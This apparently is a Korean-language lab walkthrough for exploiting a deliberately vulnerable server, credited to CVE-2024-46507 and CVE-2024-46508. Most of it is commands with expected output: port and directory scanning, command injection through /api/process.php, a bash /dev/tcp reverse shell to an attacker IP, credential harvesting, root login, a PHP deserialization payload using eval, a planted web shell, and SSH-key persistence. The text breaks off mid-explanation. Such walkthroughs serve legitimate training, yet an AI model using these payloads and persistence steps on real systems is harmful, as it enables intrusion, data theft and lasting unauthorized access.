
CVE-2024-46507 및 CVE-2024-46508를 위한 빌드 스크립트
이 워크스루는 CVE-2024-46507 (명령어 삽입) 및 CVE-2024-46508 (인증 우회) 취약점이 포함된 취약한 서버를 익스플로잇하는 방법을 안내합니다.
먼저 대상 IP 주소를 변수로 내보내겠습니다. 실제 대상 IP로 바꾸십시오:
export TARGET="192.168.65.129"
대상에서 열린 서비스를 식별하는 것부터 시작합시다:
# Initial fast scan of common ports
sudo nmap -sS -T4 $TARGET
# Full port scan to ensure we don't miss anything
sudo nmap -sS -p- -T4 $TARGET
# Detailed scan of discovered ports with service version detection
sudo nmap -sV -sC -p22,80,9000 $TARGET -oN nmap_results.txt
세부 스캔의 예상 출력:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-03 19:00 EST
Nmap scan report for 192.168.65.129
Host is up (0.00042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a8:01:a0:e9:f8:75:ca:9a:4b:40:ad:32:4f:2e:e2:f0 (RSA)
| 256 40:d9:27:46:6e:20:4c:84:d8:4e:3d:5a:07:84:19:91 (ECDSA)
|_ 256 68:b9:1f:99:50:15:29:2f:be:da:93:1d:d9:03:da:18 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
9000/tcp open http SimpleHTTPServer 0.6 (Python 3.8.10)
|_http-title: Vulnerable Application
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
MAC Address: 00:0C:29:AD:B8:5D (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
발견된 포트에서 웹 애플리케이션을 살펴보겠습니다:
# Check port 80 (Apache)
firefox http://$TARGET/
# Check port 9000 (Python SimpleHTTP server)
firefox http://$TARGET:9000/
두 포트 모두 동일한 애플리케이션 콘텐츠를 가리킵니다. 애플리케이션 구조에 대해 더 알아봅시다:
# Use gobuster to find directories and files
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
예상 출력:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.65.129
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 805]
/api (Status: 301) [Size: 0] [--> /api/]
API 디렉터리에 무엇이 있는지 확인해봅시다:
# Use gobuster to find API endpoints
gobuster dir -u http://$TARGET:9000/api/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
또는 브라우저에서 직접 열어도 됩니다.
예상 출력:
/process.php (Status: 200)
정찰 결과 /api/process.php 엔드포인트를 발견했습니다. 웹 인터페이스는 "command" 매개변수와 함께 이 엔드포인트로 제출되는 양식을 보여줍니다.
명령어 삽입을 테스트해봅시다:
# Test with a simple command
curl "http://$TARGET:9000/api/process.php?command=id"
예상 출력:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
성공! 애플리케이션이 명령어를 실행하고 있습니다. 다른 무엇에 접근할 수 있는지 확인해봅시다:
# List directory contents
curl "http://$TARGET/api/process.php?command=ls+-la"
# Explore the system
curl "http://$TARGET/api/process.php?command=cat+/etc/passwd"
출력:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:107:113::/nonexistent:/usr/sbin/nologin som:x:1000:1000:0xs0m,,,:/home/som:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin sshd:x:108:65534::/run/sshd:/usr/sbin/nologin mysql:x:109:118:MySQL Server,,,:/nonexistent:/bin/false
이제 리버스 셸을 얻어봅시다. 먼저 Kali 머신에서 리스너를 설정하세요:
# Start a netcat listener
nc -lvnp 4444
그런 다음 리버스 셸 명령어를 보냅니다:
# URL encode the reverse shell payload
# Original: bash -c 'bash -i >& /dev/tcp/YOUR_KALI_IP/4444 0>&1'
# Replace YOUR_KALI_IP with your actual Kali machine IP
curl -G --data-urlencode "command=bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'" http://$TARGET/api/process.php
이제 www-data 사용자로 셸을 얻었을 것입니다! 더 나은 셸로 업그레이드합시다:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Press Ctrl+Z to background the shell
# Then in your Kali terminal:
stty raw -echo; fg
# Press Enter twice
이제 셸이 있으므로 민감한 파일을 확인해봅시다:
# Check application configuration
cat /opt/vulnerable-app/config/app.conf
cat /opt/vulnerable-app/config/auth.conf
기본 자격 증명을 발견했습니다:
데이터베이스 자격 증명을 확인해봅시다:
# Look for database credentials
find /opt/vulnerable-app -type f -exec grep -l "password" {} \;
이것으로 데이터베이스 연결 세부 정보가 드러날 것입니다. 데이터베이스에 접속해봅시다:
# Connect to MariaDB
mysql -u vulnuser -p'password123' vulnapp
접속한 후 데이터베이스를 탐색해봅시다:
-- Show tables
SHOW TABLES;
-- View users table
SELECT * FROM users;
"supersecretpassword" 비밀번호를 가진 관리자 사용자를 찾을 수 있습니다. 이 비밀번호를 사용하여 루트 액세스를 시도해봅시다:
# Try to switch to root
su root
# Enter the password: supersecretpassword
su 방법이 작동하지 않으면 다른 권한 상승 벡터를 확인해봅시다:
# Check sudo permissions
sudo -l
# Check for SUID binaries
find / -perm -u=s -type f 2>/dev/null
# Check for cron jobs
cat /etc/crontab
ls -la /etc/cron*
또 다른 방법은 발견된 자격 증명으로 SSH 접속을 시도하는 것입니다:
# From your Kali machine
ssh root@$TARGET
# Enter the password: supersecretpassword
루트 액세스 권한을 얻으면 플래그를 찾을 수 있습니다:
# Look for flag files
find / -name "*.txt" 2>/dev/null | grep -v "proc"
# Read the flag
cat /root/flag.txt
예상 출력:
f1a9d4c2b7e35680d2f1a9c3b7d45e80
이 애플리케이션은 PHP 역직렬화 공격에도 취약합니다. 악의적인 직렬화 객체를 만들어봅시다:
<?php
// Save as exploit.php on your Kali machine
class Exploit {
public $command = 'system("cat /root/flag.txt");';
public function __destruct() {
eval($this->command);
}
}
$exploit = new Exploit();
echo base64_encode(serialize($exploit));
?>
페이로드 생성:
php exploit.php
이 명령어는 base64로 인코딩된 직렬화 객체를 출력합니다. 서버로 보내봅시다:
# Save the output from the previous command as PAYLOAD
curl -X POST -d "data=PAYLOAD" http://$TARGET/api/process.php
서버는 코드를 실행하고 플래그를 표시할 것입니다.
보다 영구적인 발판을 위해 웹 셸을 만들 수 있습니다:
# As www-data user, create a PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > /opt/vulnerable-app/webroot/shell.php
# Access from Kali
curl "http://$TARGET/shell.php?cmd=id"
또한 SSH 키를 추가하여 영구적인 루트 액세스를 유지할 수 있습니다:
# On Kali, generate an SSH key pair
ssh-keygen -t rsa -f vulnserver_key
# On the target as root, add our public key
mkdir -p /root/.ssh
echo "YOUR_PUBLIC_KEY_HERE" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# Then connect from Kali
ssh -i vulnserver_key root@$TARGET
이 서버는 두 가지 주요 문제점에 취약했습니다:
CVE-2024-46507: process.php API 엔드포인트의 명령어 삽입 취약점으로 임의 명령어 실행이 가능했습니다.
CVE-2024-46508: 다음과 같은 이유로 인증 우회 및 권한 상승 발생: